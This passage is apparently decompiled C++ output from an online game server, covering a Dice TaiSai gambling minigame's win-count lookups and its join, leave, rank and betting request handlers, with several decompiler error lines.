v3 = v2->G_GamerInfo; v10 = 0; if ( !v3 || nCharNo == -1 ) { v4 = funcallanalizer.fca_stackpoint; v10 = -1; LABEL_4: funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 3"); return 0; } v6 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, nCharNo); v4 = funcallanalizer.fca_stackpoint; v10 = -1; if ( !v6 ) goto LABEL_4; v7 = (GI_DiceTaiSai *)&v2->G_GamerInfo[nGetIndex]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo 3"); return v7; } //----- (005CCF20) -------------------------------------------------------- unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, int nIndex) { CGambleDiceTaiSaiObject *v2; // esi@1 int v3; // ecx@1 unsigned int *result; // eax@2 unsigned int *v5; // esi@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( v2->G_GamerInfo ) { if ( nIndex < (unsigned __int8)CGambleObject::go_Get_EnterPlayerCnt(&v2->baseclass_0) ) { v5 = &v2->G_GamerInfo[nIndex].nTotalWinCnt; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt2"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt2"); result = 0; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt2"); result = 0; } return result; } //----- (005CD040) -------------------------------------------------------- unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, #593 *pPlayerObj) { CGambleDiceTaiSaiObject *v2; // esi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 unsigned int *result; // eax@3 char v5; // al@4 unsigned int *v6; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->G_GamerInfo; v9 = 0; if ( v3 && pPlayerObj ) { v5 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, pPlayerObj); v9 = -1; if ( v5 ) { v6 = &v2->G_GamerInfo[nGetIndex].nTotalWinCnt; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 0"); result = 0; } return result; } //----- (005CD160) -------------------------------------------------------- unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, unsigned __int16 nHandle) { CGambleDiceTaiSaiObject *v2; // esi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 unsigned int *result; // eax@3 char v5; // al@4 unsigned int *v6; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->G_GamerInfo; v9 = 0; if ( v3 && nHandle != -1 ) { v5 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, nHandle); v9 = -1; if ( v5 ) { v6 = &v2->G_GamerInfo[nGetIndex].nTotalWinCnt; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 1"); result = 0; } return result; } //----- (005CD280) -------------------------------------------------------- unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, unsigned int nCharNo) { CGambleDiceTaiSaiObject *v2; // esi@1 CGambleDiceTaiSaiObject::GambleGamerInfo *v3; // eax@1 unsigned int *result; // eax@3 char v5; // al@4 unsigned int *v6; // esi@6 int nGetIndex; // [sp+8h] [bp-14h]@4 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v9; // [sp+18h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->G_GamerInfo; v9 = 0; if ( v3 && nCharNo != -1 ) { v5 = CGambleObject::go_Get_EnterPlayerIndex(&v2->baseclass_0, &nGetIndex, nCharNo); v9 = -1; if ( v5 ) { v6 = &v2->G_GamerInfo[nGetIndex].nTotalWinCnt; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt 2"); result = 0; } return result; } //----- (005CD3A0) -------------------------------------------------------- #error "5CD3A0: undefined or illegal type '#593' (funcsize=73)" //----- (005CD4A0) -------------------------------------------------------- #error "5CD4A0: undefined or illegal type '#593' (funcsize=72)" //----- (005CD590) -------------------------------------------------------- #error "5CD590: undefined or illegal type '#593' (funcsize=283)" //----- (005CD940) -------------------------------------------------------- #error "5CD940: undefined or illegal type '#593' (funcsize=234)" //----- (005CDC50) -------------------------------------------------------- #error "5CDC50: undefined or illegal type '#593' (funcsize=188)" //----- (005CDF00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 char *v5; // ebx@1 int v6; // eax@1 int v7; // eax@3 ORErrorMessage *v8; // eax@10 ORErrorMessage *v9; // edi@10 int v10; // eax@13 int v11; // eax@16 char v12; // al@20 int v13; // eax@21 char v14; // al@23 int v15; // eax@24 char v16; // al@26 int v17; // eax@27 __int16 v18; // ax@29 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v20; // [sp+24h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17307; *((_WORD *)v5 + 1) = 9744; v6 = *(_DWORD *)(v4 + 98); v20 = 0; if ( !v6 ) { *((_WORD *)v5 + 1) = 9745; goto LABEL_8; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v4 + 57880) + 20))(v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 9746; goto LABEL_8; } if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 2932))(v4, 1) ) { *((_WORD *)v5 + 1) = 9755; LABEL_8: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 52) ) { v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v20 = -1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ : Packet Too Long", 52); v20 = -1; } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ"); return; } v8 = (ORErrorMessage *)CGambleObjectManager::gom_GetGambleObject(&gGambleObjectManager, *(_WORD *)(netcmd + 2)); v9 = v8; if ( !v8 ) { *((_WORD *)v5 + 1) = 9747; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 52) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ : Packet Too Long", 52); } v20 = -1; goto LABEL_15; } v11 = (int)LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v8); if ( v11 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v11) <= 0xF4240 ) { if ( (unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *))(v9->orem_Line + 16))(v9) ) { if ( (unsigned __int8)(*(int (__thiscall **)(ORErrorMessage *, _DWORD))(v9->orem_Line + 24))( v9, *(_BYTE *)(netcmd + 4)) ) { ShineObjectClass::ShinePlayer::sp_Gamble_DirectInfoBroadcastSet(v4, *(_BYTE *)(netcmd + 5)); if ( (unsigned __int16)(*(int (__thiscall **)(ORErrorMessage *, int))(v9->orem_Line + 36))(v9, v4) == 9744 ) { v18 = (*(int (__thiscall **)(ORErrorMessage *, int))(v9->orem_Line + 60))(v9, v4); if ( v18 == 9744 || v18 == 9752 ) { if ( (unsigned __int16)(*(int (__thiscall **)(ORErrorMessage *, int))(v9->orem_Line + 64))(v9, v4) == 9744 ) (*(void (__thiscall **)(ORErrorMessage *, int))(v9->orem_Line + 68))(v9, v4); } } } else { *((_WORD *)v5 + 1) = 9750; v16 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v16, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ : Packet Too Long", 52) ) { v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v4, &gpp); } } } else { *((_WORD *)v5 + 1) = 9749; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ : Packet Too Long", 52) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } } goto LABEL_33; } *((_WORD *)v5 + 1) = 9748; } else { *((_WORD *)v5 + 1) = 9747; } v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ : Packet Too Long", 52) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } LABEL_33: v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005CE210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@10 unsigned int v7; // eax@11 CGambleObject *v8; // eax@11 CGambleObject *v9; // ebp@11 int v10; // eax@14 unsigned __int16 v11; // ax@15 unsigned __int16 v12; // bx@15 int v13; // eax@21 char *v14; // [sp+4h] [bp-28h]@4 int bReserve; // [sp+18h] [bp-14h]@0 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17303; *((_WORD *)v5 + 1) = 9760; if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 9761; goto LABEL_3; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 9762; LABEL_3: if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ : Packet Too Long", 4); v14 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"; goto LABEL_26; } LABEL_10: v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); v14 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"; goto LABEL_26; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 1) ) { *((_WORD *)v5 + 1) = 9763; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ : Packet Too Long", 4); v14 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"; goto LABEL_26; } goto LABEL_10; } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v8 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v7, GBT_DICETAISAI); v9 = v8; if ( v8 ) { v11 = v8->vfptr->GDTSO_DiceTaiSai_Out(v8, (#593 *)v4); v12 = v11; if ( v11 == 9760 ) { LOBYTE(bReserve) = 0; } else { if ( v11 == 9767 ) { LOBYTE(bReserve) = 1; v9->vfptr->GDTSO_SetDiceTaiSaiGameLeaveInfo(v9, (#593 *)v4, 1); } } *(_WORD *)v5 = -17303; *((_WORD *)v5 + 1) = v12; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ : Packet Too Long", 4); } if ( v12 == 9760 || v12 == 9767 ) v9->vfptr->GDTSO_DiceTaiSai_BroadOut(v9, (#593 *)v4, bReserve); } else { *((_WORD *)v5 + 1) = 9763; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v10 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ : Packet Too Long", 4); } } v14 = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ"; LABEL_26: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (005CE470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // eax@7 char *v7; // edi@8 ZoneBaseSession *v8; // eax@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17298; *((_WORD *)v5 + 1) = 9872; v5[4] = 0; if ( !*(_DWORD *)((char *)v4 + 98) ) { *((_WORD *)v5 + 1) = 9873; goto LABEL_5; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 1) ) { *((_WORD *)v5 + 1) = 9875; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ : Packet Too Long", 5); } goto LABEL_11; } v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17300; *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v7 + 1) = *((_WORD *)v4 + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ : Packet Too Long", 8); } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ"); } //----- (005CE5D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // edi@1 char *v5; // esi@1 int v6; // ebx@1 ProtocolPacket *v7; // ecx@2 char v8; // al@5 int v9; // eax@9 int v10; // esi@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17296; v6 = (int)(v5 + 4); *((_WORD *)v5 + 1) = 9888; v5[4] = 0; if ( *(_DWORD *)((char *)v4 + 98) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 1) ) { v8 = CGambleObjectManager::gom_GetDiceRankInfo(&gGambleObjectManager, (GDT_DiceRankInfo *)(v5 + 5), v5 + 4); v7 = &gpp; if ( v8 ) { v10 = 20 * *(_BYTE *)v6 + 5; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 20 * *(_BYTE *)v6 + 5) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ : Packet Too Long", v10); goto LABEL_14; } v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_13: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v9 + 12))(v9, v4, &gpp); goto LABEL_14; } *((_WORD *)v5 + 1) = 9891; } else { *((_WORD *)v5 + 1) = 9890; v7 = &gpp; } } else { *((_WORD *)v5 + 1) = 9889; v7 = &gpp; } if ( ProtocolPacket::pp_SetPacketLen(v7, 5) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_13; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ : Packet Too Long", 5); LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ"); } //----- (005CE730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ(void *this, int netcmd, __int16 nError, __int16 handle) { void *v4; // esi@1 char *v5; // edi@1 int v6; // ebp@1 int v7; // eax@1 int v8; // eax@3 unsigned int v9; // eax@12 CGambleObject *v10; // eax@12 CGambleObject *v11; // ebx@12 int v12; // eax@15 unsigned __int16 v13; // ax@18 char v14; // al@19 int v15; // eax@20 int v16; // eax@21 char v17; // al@21 int v18; // eax@22 FunctionEntarance _; // [sp+2Ch] [bp-10h]@1 int v20; // [sp+38h] [bp-4h]@1 int netcmda; // [sp+40h] [bp+4h]@21 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17294; v6 = netcmd + 2; *((_WORD *)v5 + 1) = 9776; *((_WORD *)v5 + 2) = *(_WORD *)(netcmd + 10); v7 = *(_DWORD *)((char *)v4 + 98); v20 = 0; if ( !v7 ) { *((_WORD *)v5 + 1) = 9777; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_4: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v4, &gpp); v20 = -1; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ"); return; } goto LABEL_10; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) == 1 ) { *((_WORD *)v5 + 1) = 9778; goto LABEL_9; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 2936))(v4, 1) ) { *((_WORD *)v5 + 1) = 9779; LABEL_9: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); goto LABEL_4; } LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ : Packet Too Long", 6); v20 = -1; goto LABEL_17; } v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v10 = CGambleObjectManager::gom_FindGambleObject(&gGambleObjectManager, v9, GBT_DICETAISAI); v11 = v10; if ( !v10 ) { *((_WORD *)v5 + 1) = 9779; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ : Packet Too Long", 6); } v20 = -1; goto LABEL_17; } v13 = v10->vfptr->GDTSO_DiceTaiSai_CanBetting(v10, (#593 *)v4, (DiceTaiSaiBetting *)v6); if ( v13 == 9776 ) { v16 = v11->vfptr->GDTSO_DiceTaiSai_Betting(v11, (#593 *)v4, (DiceTaiSaiBetting *)v6); *((_WORD *)v5 + 1) = v16; netcmda = v16; v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ : Packet Too Long", 6) ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v18 + 12))(v18, v4, &gpp); } if ( (_WORD)netcmda == 9776 ) { v11->vfptr->GDTSO_DiceTaiSai_BroadSetTimer(v11, (DiceTaiSaiBetting *)v6, 0); v11->vfptr->GDTSO_DiceTaiSai_BroadBetting(v11, (#593 *)v4, (DiceTaiSaiBetting *)v6); } } else { *((_WORD *)v5 + 1) = v13; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ : Packet Too Long", 6) ) { v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v4, &gpp); } } v20 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (005CE9D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ(void *this, int netcmd, __int16 nError, __int16 handle) { void 